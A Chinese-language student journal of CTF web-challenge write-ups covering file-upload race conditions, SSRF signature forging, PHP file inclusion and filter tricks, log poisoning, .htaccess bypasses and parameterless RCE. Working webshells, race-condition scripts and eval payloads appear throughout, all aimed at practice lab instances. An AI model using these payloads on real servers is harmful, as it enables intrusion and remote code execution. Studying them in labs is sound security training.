2025暑假作业(7.21~7.27)

wzsc_文件上传【攻防世界(难度5)】

打开环境

image

很简介的一个页面,先看下源代码有啥东西不

image

很干净,直接上传一个php看看

image

这里直接跳转过来
看下有没有成功

image

没反应,上传一张图片看看

image

不管怎样都只有这一个界面

emmm,扫一下看看

image

果然扫出东西来了
这里有一个flag.php,虽然应该是没有看一下

image

去看下index.html
这个就是上传文件的页面

看下upload这个界面

image

可以发现在这里可以找到我们上传的文件

这里php不允许上传

这里基本上测试了一下,这种黑盒只能慢慢测
目前看来,文件后缀是被过滤的
但是他好像是没有检测文件内容
MIME头好像也不检测

目前已知的被ban掉的后缀有

.htaccess php phtml

这里尝试了其他没有办法了,想到还有一个条件竞争
再抓包看了一下

注意这个东西

image

这里显示出来是200的响应
所以可以说明我们的上传是成功的

但是我们在目录里并没有看见我们上传的文件

应该是被在很短的时间内给删除了
这里就可以构造一个很简单的条件竞争

我们一直在upload目录这里访问我们上传的马
然后我们再一直传马

这个是访问的马

image

这个是上传马的

image

开始竞争

image

这里可以发现成功的访问了

image

但是这个只是证明访问成功,访问成功之后就会被删除掉
这里换一个思路
直接运行phpinfo()在这个文件里面,当我访问到的时候就能看了

image

这里再上传一波

image

也有可能是竞争的问题,也可能是环境

但再换一种思路
这里生成一个文件看看行不行

image

再开始竞争

image

终于是进去了

image

直接蚁剑连接看一下

image

进去找

image

这个不对

image

这个才是

题目名称-SSRF Me【攻防世界(难度5)】

打开环境

image

先看网页源代码

image

这里有一个hint告诉我们不能访问外网

然后就先去看下第二个框框里面是要干什么

Captcha: substr(md5(captcha), -6, 6) == "85853e" reset

这里就类似平时见的那些验证码
这里就是captcha这个就是验证码的意思
这里就是说这个验证码的md5加密的最后六位要与后面的相等
才能去访问网址
后面那个reset就是刷新后面的验证码换一个六位数

这里就可以直接使用python脚本来爆破

这里我个人认为比较简单的就是累加
从1开始一直加1知道直到找到为止

写脚本

点击查看代码
from hashlib import md5
b = '0'

def caculate_md5(text,encoding='utf-8'):
    hash_md5 = md5()
    hash_md5.update(text.encode(encoding))
    a = hash_md5.hexdigest()
    result = a[-6:]
    return result

while True:
    if caculate_md5(b) == '85853e':
        print(f'所输入验证码是:{b}')
        print(f'MD5值是:{md5(str(b).encode()).hexdigest()}')
        break
    b = str(int(b) + 1)

计算一手

image

这次访问一下那个第一个框框里面的网址看看

image

好家伙,又给我多了一个框

那看来这个80端口估计就是这个框了

尝试一波看看会不会直接这样藏在目录下

image

image

回显发生了变化说我是hacker
看一下是哪个被过滤掉了

image

image

看来是flag被过滤了
url编码看一手
这里必须要注意一个问题

在线工具基本上编码的都是一些特殊字符
在url中flag这种一般字符是允许存在的
所以这里我们要注意在线工具是无法对他进行直接编码的
可能也有但是我没有找到

所以这里我们编码需要直接从进制进行编码
这里的url编码其实就是将其编码为16进制的数字前面再跟上%
这就形成了url编码

所以这里我们需要直接帮字符串转换成16进制

image

后面的数字就是%后接的数字
这里写一下

%66%6c%61%67

这里再解码看一下

image

再访问了看一下

image

这种访问不行,换一下用file协议

image

空的???
emmm,php去掉看一下

image

看见flag了

[De1CTF 2019]SSRF Me【BUUCTF】

打开环境

image

一眼看过去是一个flask框架,所以我们拿去整理一下看看

image

这下看着舒服多了
不过以防AI更改过内容,这里把两个内容编排到一起

image

再丢给AI查看一手

image

这里还发现了另外的方法直接使用pycharm然后Ctrl+Alt+L可以格式化代码

这里用的是trae不知道有没有相对应的方法,就可以直接使用black来格式化

直接允许命令

black target.py

这里尝试一下看看

image

但是这里black格式化不了,用autopep8也不行
还是去用pycharm看一下

image

还是不行,emmm,还是AI好用

点击查看代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

接下来就是审代码
这里就直接先看路由,因为这个和目前题目的联系最大

有三个路由

image

定义一个geneSign的函数
从url中获取param这个参数并赋值给param
讲scan赋值给action
最后返回生成的签名

image

定义一个chakkenge的函数
从cookie获取action和sign
从url参数获取param
获取客户端的ip
之后先去看waf这个函数

image

这个就是检查文件开头是不是gopher或者file
是就返回True不是返回False

所以上面就是如果防火墙返回true就返回no hacker

然后是创建task实例
这里再来看一下这个task实例

task类里面又分三部分

image

这里就是初始化类的方法接受四个参数
这里的self是一个python自动运行传入的参数
目的是为了帮助你访问当前实例的属性,设置实例状态,确保操作作用于特定实例(沙箱隔离的关键)

然后存储操作类型,存储参数,存储签名,使用客户端 IP 的 MD5 哈希值作为沙箱目录名
然后就是创建沙箱目录,如果没有就创建

image

定义一个任务执行的方法
先初始化result这个字典
设置状态码是500
然后就是检查签名

如果scan在action操作中
在沙箱目录中创建结果文件
然后扫描这个url

如果扫描超时就记录结果
如果没有就打印扫描结果,再写入结果文件
设置状态码为200

如果read在操作中打开结果文件
设置状态码为200
读取结果文件

如果状态码是500返回action error

如果签名错误就设置状态码500返回sign error

最后返回结果

image

定义检查签名的方法
比较本地生成的签名和客户端的签名一样返回true否则返回false

这里去找一下getSign这个函数

image

这个就是返回secert_key和我们传入的两个参数的md5值

这里虽然看完,但是一时候还是没有反应过来,代码不熟悉
去看了一下wp到结果那里突然就悟了

这里scan扫描的目录是我们给的目录我们可以直接给他一个flag.txt
至于这里为什么直接是falg.txt这里在我看来是要尝试出来的
因为一般直接可以让你找到的大多数都是flag.txt或者flag.php这两种
分别实验一下就可以了

这里exec这个方法就显得非常重要,当action中又两种方法的时候才会打印flag
我们还要绕过checksign的检查,这个就是我们要做到

注意这个路由

image

这里的action里面有scan
所以实际上sign值由param和acxtion决定

这里我们原本要传入flag.txt来获取sign值
但是action中又需要read但是他的检验是in所以我们可以传入param是flag.txtread
最后就变成了md5(xxxxflag.txtreadscan)
相当于action被我们认为拼接为readscan

image

再通过这个路由传参把结果返回出来

/geneSign?param=flag.txtread

image

再去传参

/De1ta?param=flag.txt
cookie:sign=bebf06d72782c9be122fb091eb43b1e8;action=readscan\

image

得到flag

image

[NPUCTF2020]ezinclude【BUUCTF】

打开环境

image

看下源代码

image

密码现在知道怎么来了,但是这俩参数
扫一下看看有没有藏东西

image

好嘛不让扫

这里我们知道pass怎么来的,在看下post里有没有东西

image

然后看眼其他的
发现cookie里面藏东西了

image

这个hash应该就是pass了
这里把name改成1看一下

image

这个就是密码了
登录一下看看

image

这里中间存在302跳转,之前的一个是flllag.php具体几个l也不知道
反正应该是flag在的位置

这里bp抓包再发一下

image

这里可以看见了,访问一下这个文件看看

image

这里就是跳转到了我们之前看到的那个页面
就是404页面

这里可以看见响应里面有东西

点击查看代码
HTTP/1.1 200 OK
Server: openresty
Date: Wed, 23 Jul 2025 08:17:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 241
Connection: keep-alive
X-Powered-By: PHP/7.0.33
Vary: Accept-Encoding
Cache-Control: no-cache

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

这里可以看见这个不是flag并且出题人想要一个girlfriend
然后使用get传参file并包含
使用伪协议看一下那个不是flag的文件
这里小技巧,当出现疑似flag的文件但不是flag大概率是源码泄露

image

拿来解码看一下

image

点击查看代码
<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

这里可以看见一个简单的黑名单,不可以使用data,input,zip这三个协议
然后就没东西了,下面就是一个include

emmm,然后没思路了

这里之后是要去扫描目录,我们之前并没有限制他的线程数量
因为太大了,导致了其防火墙机制不准扫描
这里来学习几个参数

-e * 这个是扫描所有可能的文件扩展名
--timeout= 设置单个请求的超时时间,避免服务器卡顿,提高速度
-t 1 设置扫描线程,设置为1可以降低被waf阻挡的概率
-x 400,403,404,500,503,429 排除状态码,这里就是排除一些无用的状态码
-w db/dict_mode_dict.txt 指定字典

所有这里结合在一起就是

python dirsearch.py -u http://a326a4aa-1643-4189-a050-d7b4d457b829.node5.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,429 -w db/dict_mode_dict.txt

字典网址 https://github.com/H4ckForJob/dirmap/blob/master/data/dict_mode_dict.txt

image

这里发现有三个php文件,但是只有dir.php有用
看一下dir.php

image

这个是var_dump()的一个格式化输出,看一下源码

image

解码看一下

image

这个就是扫描/tmp这个目录并且使用var_dump()来格式化输出其内容
这里再了解一下/tmp这个是一个临时文件目录

之后就有两种方法

方法一 php7 segment fault特性(CVE-2018-14884)

这里先来了解一下这是个啥
简单来说就是一个绕过临时目录删除的机制

通过 php://filter/string.strip_tags 过滤器处理非 HTML 文件(如 /etc/passwd),PHP 解释器会因空指针引用导致进程崩溃(Segment Fault)

崩溃时 PHP 的垃圾回收机制被中断,​临时文件未被清除,保留在 upload_tmp_dir 目录(默认 /tmp)

下面给出php版本条件

受影响版本范围 修复版本
PHP 7.0.0 - 7.1.2 7.1.2x 修复
PHP 7.1.3 - 7.2.1 7.2.1x 修复
PHP 7.2.2 - 7.2.8 7.2.9+ 及 7.3+ 修复

这个漏洞的利用核心机制就是php://filter/string.strip_tags处理非html文件然后引发崩溃

常用的崩溃的patyload是

php://filter/string.strip_tags/resource=/etc/passwd

这里还要注意一个点,当我们在利用这个漏洞的时候,文件名需要进行目录扫描之类的手段获取
虽然request库这里是允许自己去定义名字但是,在利用这个漏洞的时候文件名是由php来定义
是一个随机化的名称,所以需要利用到dir.php来得到名字

这里这个脚本,在看完之后比较简单,就可以自己编写一下
这里一般来说是直接上传一个一句话木马然后再用蚁剑连接,但是这里的flag是藏在phpinfo里面
这里就直接上传phpinfo了

点击查看代码
import requests
from io import BytesIO

url = 'http://a326a4aa-1643-4189-a050-d7b4d457b829.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
payload = '<?php phpinfo();?>'
target = {'file' : BytesIO(payload.encode())}

requests.post(url,files=target)

运行脚本

image

然后去访问一下dir.php

image

这里产生了三个文件,看一下哪一个是

image

这里这三个文件是一样的

方法二 session.upload_progress 进行 session 文件包含

image

php版本大于等于5.4

这里直接用大佬的脚本
https://blog.csdn.net/weixin_45646006/article/details/120817553

点击查看代码
import io
import sys
import requests
import threading

host = 'http://050b5d04-a686-4e4f-ab4b-9d662cfce434.node5.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

image

再发送请求

image

[BSidesCF 2020]Had a bad day【BUUCTF】

打开环境

image

有俩按钮,先看下源代码看看有些什么东西

image

没啥隐藏的东西

点一下第一个按钮看看会发生什么

image

原来是狗叫
url也发生了变化

image

再看下另外一个

image

猫叫,url也变了

image

尝试访问其他看一下

image

说最近只支持猫狗
扫一下目录看看有没有藏东西

image

好家伙看见了一个flag.php
访问看看

image

emmm,看下那个index.php/login里面有没有什么东东

image

好像就是之前那个页面,不过没有任何的装饰
看下源代码里面

image

也是没有,点下按钮看看

image

就是之前那个

看下能不能用php伪协议访问看下index.php的代码

image

这里可以发现里面是有文件包含的,并且我们最后变成了index.php.php
那我们就直接输入index看看

php://filter/read=convert.base64-encode/resource=index

image

拿去解码看看

image

点击查看代码
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

可以发现中间的php代码

image

就是使用get传参category
然后使用strpos函数来查找字符串
也就是说只要我传的参数里面有woofers,meowers,index那都是符合逻辑的

然后他呢会自动在我上传的参数后面加上php
然后再包含

这里我们之前就找到了flag.php直接访问的话是不能访问的
应该是需要用到伪协议

这里找到的一个payload是这样的

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

直接把index拼接进去,就是因为php伪协议其会忽略路径中的无效部分
这里尝试一下这个payload

image

解码看一下

image

[BJDCTF2020]ZJCTF,不过如此【BUUCTF】

打开环境

image

这一串代码看着还是比较和蔼可亲的

还是分析一手
这里就是get传参了两个参数text和file
然后检查text里面是不是空的还有text里面有没有I have a dream
然后输出text的内容

然后对file进行正则匹配查看里面有没有flag
然后包含file

这里直接传参看看

?text=I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

但是发现用不了,应该是text那里不行
啧,傻了,file_get_contents是读取文件或者一个URI里面的内容
但是我这里如果直接这样写等于是赋值,这个就变成了一个变量而不是文件了

这里就得提起一个伪协议data://协议
这个伪协议产生的是一个data URI
所以这里可以使用data协议来绕过
再次构造payload

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

image

记得最好复制这些对象,去源代码复制,这样比较全

image

点击查看代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

依然先来理解一下这个代码

get获取id然后存储到session会话中

然后定义了一个函数complex()
接受参数re和str

这里要重点理解一下

image

这里就是更具re变量来进行匹配替换,后面的strtolower("\1")
里面的\1表示正则表达式里面的反向引用

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里其实就是第一个表达式,然后全部小写,

str就是目标字符串,就是等着被替换的字符串

image

这里就是遍历get传的参数参数名当作re的值,参数值当作str的值
然后输出complex的处理
这里附上相对应的解释

image

接着看

image

这里就是定义了一个函数来获取flag

所以构造payload

\S*={${getFlag()}}&cmd=system('ls');

这里来详细解释一下\S*
这个可以保证{${getFlag()}}所有字符串都可以匹配到
\S*是匹配所有非空的字符串
这样就可以保证在preg_replace()的时候反向引用能完整的获取到{${getFlag()}},从而执行next.php里定义的这个函数getFlag()从而可以进行代码执行
所以整个运行机制就是
$re匹配str然后用\1替换

image

接下来就是rce的事情了,找flag

next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

image

[GXYCTF2019]禁止套娃

打开环境

image

看下源代码

image

看来要扫了

image

好家伙全是git泄露
得用到githacker了
用gihackar把源码全部搞下来

image

这个gihack可能是由于版本比较老了。克隆不下来
所以这里给出另外一个版本的

git clone https://github.com/lijiejie/GitHack

image

这下就对味了
把index.php拿出来
去trae里面看

image

这里一眼看过去是一个三层过滤

第一层
过滤了data协议,filter过滤器,php伪协议,phar协议

第二层
将xep里面的小写字母,逗号,下划线进行匹配
后面的是(?R)?这个是进行递归模式的匹配
然后外面的两个()表示其匹配的是函数的调用
比如func1()这样模式的才会匹配

第三层
过滤了et|na|info|dec|bin|hex|oct|pi|log

然后这题目前表现出来的是一个rce的情况,这里就目前看来最可能的就是无参数rce
因为第二层过滤比较狠,这个看着也是比较符合无参数rce的典型,只能用这样的模式func(fun())
还不能包含数字,只能有小写字母,逗号,下划线然后还需要有;

这里就正常构造payload
这里好久没用过无参数了,这里就详细写一下

方法一

localeconv():返回一包含本地数字及货币格式信息的数组。其第一个数组是.
current()返回数组第一个值pos()也行

image

这个配合scandir()就是ls的作用
scandir()就是扫描并返回当前目录

image

这里也是看见flag.php了
这里因为flag.php的位置比较靠后
所以这里使用array_reverse()反转一下位置
flag.php就是第二个位置了
就使用next()

这里就不能使用var_dump()他是用来输出变量的相关信息的
这里可以用highlight_file()来读取

highlight_file(next(array_reverse(scandir(current(localeconv())))));

image

方法二

这里知道了flag所在的位置可以直接使用session来获取

highlight_file(session_id(session_start()));

image

[MRCTF2020]套娃

打开环境

image

看看源代码里面有什么

image

这里首先要知道$_SEVER[]这个是全局变量,之后的QUERY_STRING指的是在url中?后面的内容

现在就是获取了url?后的内容然后赋值到query

然后计算query里面的_还有其编码后的是不是0
如果但凡有一次,就会直接死掉

然后就是一个get传参的如果不是23333或者正则的匹配^开头和$结尾这俩边界之内必须是23333
满足了进入下一步

这里又是新知识点

php在传参的过程中会自动帮空格和.转化为_

然后在正则的绕过可以加上换行符号来绕过
这里就i要详细了解一下$它不只是匹配字符串结尾,还匹配字符串末尾的换行符之前的位置
所以23333\n就是匹配23333

直接传参

?b.u.p.t=23333%0a

image

访问一下这个文件

image

看下网页的源码

image

疑似加密
一通搜索之下,知道了这个是jsfuck编码
这个名字不是很友好

在火狐浏览器里f12

image

进入控制台然后把那一串输进去回车

chrome也可以

image

这里就是一个弹窗弹出来
让我们使用post传Merak

也有在线网站
http://www.hiencode.com/jsfuck.html

这里就要了解一下什么叫Merak
结果愣是没找到

直接传Merak看一下

image

这里也是成功了

image

接下来就是一波简单的代码分析

上面就先不用看了
直接看下面的绕过

ip得是127.0.0.1
2333得是那句话还得是个文件或URI所以用data://
最后就是一个解密的函数所以我们要进行解密

X-Forwarded-For: 127.0.0.1进行ip绕过
2333=data://text/plain,todat is a happy day进行绕过

剩下这个我们要访问的是flag.php进行一波编码

点击查看代码
<?php
$plain = "flag.php";
$decoded = "";
for ($i=0; $i<strlen($plain); $i++) {
$decoded .= chr(ord($plain[$i]) - $i*2);
}
$file_param = base64_encode($decoded);
echo $file_param;

得到答案

image

最后就是发包了
结果发现使用xff包发不出去
所以这里使用报头来发包

Client-ip:127.0.0.1

image

web签到【CTFSHOW-菜狗杯】

虽然但是,这题是签到题目
但是感觉这题还是得写一下

打开环境

image

这个题目长的非常的新颖,一开始代码没看懂还是有点难以理解这个payload的

这里就来先逐层分析一下代码

先是从cookie来获取一i个值
这个值用来作为post传参的参数名
然后再从post传参这里获取一个值
再用这个值来做get传参的参数名
然后再从get传参获取一个值
作为request的参数名
再获取request这个多维数组索引

构造出payload

?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system('ls');
post:a=b
Cookie:CTFshow-QQ群:=a

直接使用hackbar发

image

image

这里之所以会写这题是因为一开始做的时候
后面那一串完全没看懂
是后面慢慢才理解后面那一串是多维的数组

这里可以简单写一下这个多维数组实际上就是数组里面嵌套这数组像这样

这里写的是php的数组其他有些表现不一样

[[1],[1,2,3,[4,5,6]]

这中就叫做多维数组
我们上面就是把c初始化成一i个数组,然后在题目需要的维度赋值这样就能够访问了

Is_Not_Obfuscate 【CTFSHOW-菜狗杯】

先看下题目

image

说是纸老虎,先搜一下这啥意思

大概就是不是混淆的,应该就是会是比较清晰的解题思路

打开环境

image

先打开源代码看一下

image

告诉我们只能执行加密的代码
但是下面有俩特别的东西
让我们在使用index.php先去测试一下lib.php
然后再删除robots.txt

去看下lib.php是啥

image

啥也没有,再看下robots.txt

image

看见了俩特别的东东

看下lib.php/?flag=0是啥

image

emmm,再看下plugins

image

没有东西

莫非是上面那个传参,看下1是啥

image

突然冒出来一堆源码,测试了下好像是随便输入一个不是0都可以触发

应该是base64解码看看

image

结果不是,直接拿去首页执行看看

image

但是无事发生,再看下源码

image

执行的按钮得是这里的这个,改一下

image

image

再执行
然后弹出源码来了

image

然后就是代码审计,重点是下面那一串代码

image

之后就是通过action来获取是要执行哪种情况

然后就是读取./plugins/目录下的inpiuit输入的内容就是这个文件
然后解码,执行php代码赋值给output
输出pull success

下一个就是将文件写入的代码文件名是output的值加盐值youyou然年后编码

先写马

?action=push&output=<?php @eval($_POST[1]);?>

image

计算一下文件名

image

直接执行就可以了
这里也执行不了不知道为什么,人家的倒是可以

?action=push&output=<?php eval($_GET[1]);phpinfo();?>

?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("ls");

image

web81 【CTFSHOW】

这题有点简单,但算学个新东西
打开环境

image

感觉长的很友好的样子
看下源码有没有藏东西

image

这种样式大概率是没有的

就是一个简单的过滤然后下面include(file)
这里php,data,:都被过滤了杯替换成???
这里就要用一个新东西,emmm
应该说之前用的少的东西,也不记得有没有了

这里就是日志包含来进行getshell

首先访问一下日志文件
/var/log/nginx/access.log
Nginx 默认的访问日志(Access Log)存储路径,记录了所有客户端请求的关键信息

?file=/var/log/nginx/access.log

image

这里这个很明显的可以看出这个是我访问他的日志

可以看见这里记录了我们很多的信息
这里可以抓包比对一下

GET / HTTP/1.1
Host: 10a4f835-a708-4483-b2d9-e16f3f90c5d2.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

这个是抓包后的信息所以可以分析出来
这个日志里面记录着我们的ip,请求时间,方式,协议,状态,长度,根域名,还有最重要的UA
因为这里如果要在里面写马的话
只有ua是我们可以去控制的,这里直接使用hackbar来写马

image

直接当马用就行了

这里还要注意cat不能用

image

这种的使用条件最基本的是要能够访问日志

web160 【CTFSHOW】

也是一个新东西

打开环境

image

文件上传,看下源码有没有藏东西

image

看来是没有
上传一个php文件看看

image

上传一张图片看看

image

莫非是我屏幕截图太名字太长了?

image

好家伙,看下jpg

image

也是不行,一番试下来

image

好家伙,非要这样才能上传

这里有个新东西,包含日志来上传

首先正常上传user.ini
直接把后缀改成png上传了再用bp抓包

image

他只是在选择文件的时候进行了过滤,并没有在上传的时候进行过滤

再编写一下图片马

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。

这里的log是被过滤的

php中使用.来连接

上传了看看

image

再去访问一下日志文件

然后就是极其的蒙圈
就是找不到,不知道是不是环境的问题,但这题是被做掉的

就很懵,照着wp做也是不行
就非常的懵了

但之后这题1和上面一题一样了都是直接使用ua来写马然后访问
之后再尝试一下

[NSSRound#28 Team]ez_php 【NSSCTF】

打开环境

image

这里是一个比较常规的php的一个绕过

post传a,b然后get传password
然后就是一个is_numeric的简单绕过

直接加上一个字母就ok了

再之后就是一个md5的一个强比较,直接使用数组绕过就可以了

最后是一个post传参的file
这里很明显就是包含level2.php

构造payload

image

image

这里源码没有出来,用伪协议php://

image

image

解码一下

点击查看代码
<?php
error_reporting(0);
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}
?>

这里又是一个rce的绕过
这里使用正则匹配过滤了很多东西

目前看来只有自增可以使用,但是这里长度有限制,这里就可以使用grt传参或者post传参来减少rce的长度

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

这个实际上就是1('2')
所以这里可以直接传,就能得到了php

image

上传 【polarctf-困难】

打开环境

image

非常简洁的一个文件上传的界面

看下源代码有没有藏东西

image

看来没有

直接先上传一个php看看什么情况

image

不允许上传
看下.htaccess

image

上传成功,看下图片马可不可以传

image

咋没反应呢,看下源代码

image

emmm
这感觉不像成功了啊
看一下能不能执行命令

image

没反应
bp抓包上传一个看看

image

好家伙,一样的,会不会是提示我们这个东西被ban掉了

换成其他标签看看

<script language="php">@eval($_POST['1']);</script>

image

也是上传成功了

看下能不能执行
命令执行不了。看下能不能用蚁剑连接一下

image

emmmm,去查询了下,php版本大概高于7.0的时候就不能用了

这里之后就尝试了其他,看了下user.ini也不行,之后就没招了
看了下wp发现可以使用base64进行绕过

点击查看代码
AddType application/x-httpd-php .png
php_value auto_append_file 
php://filter/convert.base64-decode/resource=1.png

依然发送.htaccess

image

这里可以使用反斜杠绕过

image

再上传一个base64编码的图片马

image

然后蚁剑连接就可以了

image

但是这里环境抽风了,重新启动之后也是这样
有没有哪位大佬饥饿时一下,不知道是不是服务器的问题

后面又尝试了一下,那个base64编码有问题
然后我之前的配置文件.htaccess也是有问题

这里给出正确的

点击查看代码
AddType application/x-httpd-php .png
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=1.png"

PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

这里就详细饥饿时一下这个.htaccess的细节

\绕过之后要换行,在apache在服务器中,\和\n也就是换行符号
\是叫做续行符号

后面的表示是同一指令,如果不换行,会产生命令解析错误,可能会将\视为普通字符
解析错误

这里之后就能连接上了

image

PHP是世界上最好的语言【polarctf-困难】

打开环境

image

长的很不讨人喜欢,先看下网页源代码里面有没有藏东西

image

看来是没有

首先就是包含flag.php这个文件,他告诉我们flag是在flag的变量里面

定义一个变量c并且用post请求从sys中来获取值

